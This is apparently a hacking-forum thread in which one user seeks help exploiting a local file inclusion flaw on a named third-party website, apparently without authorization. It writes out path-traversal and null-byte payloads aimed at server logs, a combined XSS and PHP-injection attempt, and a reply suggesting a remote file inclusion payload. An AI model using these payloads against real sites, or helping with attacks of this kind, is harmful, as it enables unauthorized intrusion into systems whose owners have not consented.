I dont know why i always get the hard ones
hxxp://www.worldofarmaggedon.com/main/help/index.php?topic='

if i put 2 sets of ../ together it causes a 406
ive tried data and other items suggested before

thanks in advance

topic=.././.././index

sorry just realized i posted in the wrong section
thanks lightos, but it seems like i cant include anything useful like access/error/ logs or /proc. and i cant upload an image shell like as an avatar

so i found XSS on signup.php
and have been trying to do this
hxxp://www.worldofarmaggedon.com/main/help/index.php?signup=&account='"><?phpinfo();?>&topic=.././.././signup

but all i get is the <?phpinfo();"> in the html

any more help would be great, thx

hxxp://www.worldofarmaggedon.com/main/help/index.php?topic=.././.././.././.././apache/logs/access.log%00
gives me open_basedir restriction in effect



Edited 1 time(s). Last edit at 03/01/2010 07:42PM by RonPaul.

your XSS payload will reflect in your browser, but not when PHP is parsing the script. if you want to use XSS with LFI, you need to use a URL with your XSS payload as LFI payload:

/main/help/index.php?topic=http://url/index.php?account='"><?phpinfo();?>

http://websec.wordpress.com/2010/02/22/exploiting-php-file-inclusion-overview/



Edited 2 time(s). Last edit at 03/02/2010 10:39AM by Reiners.

URLs are disabled
:(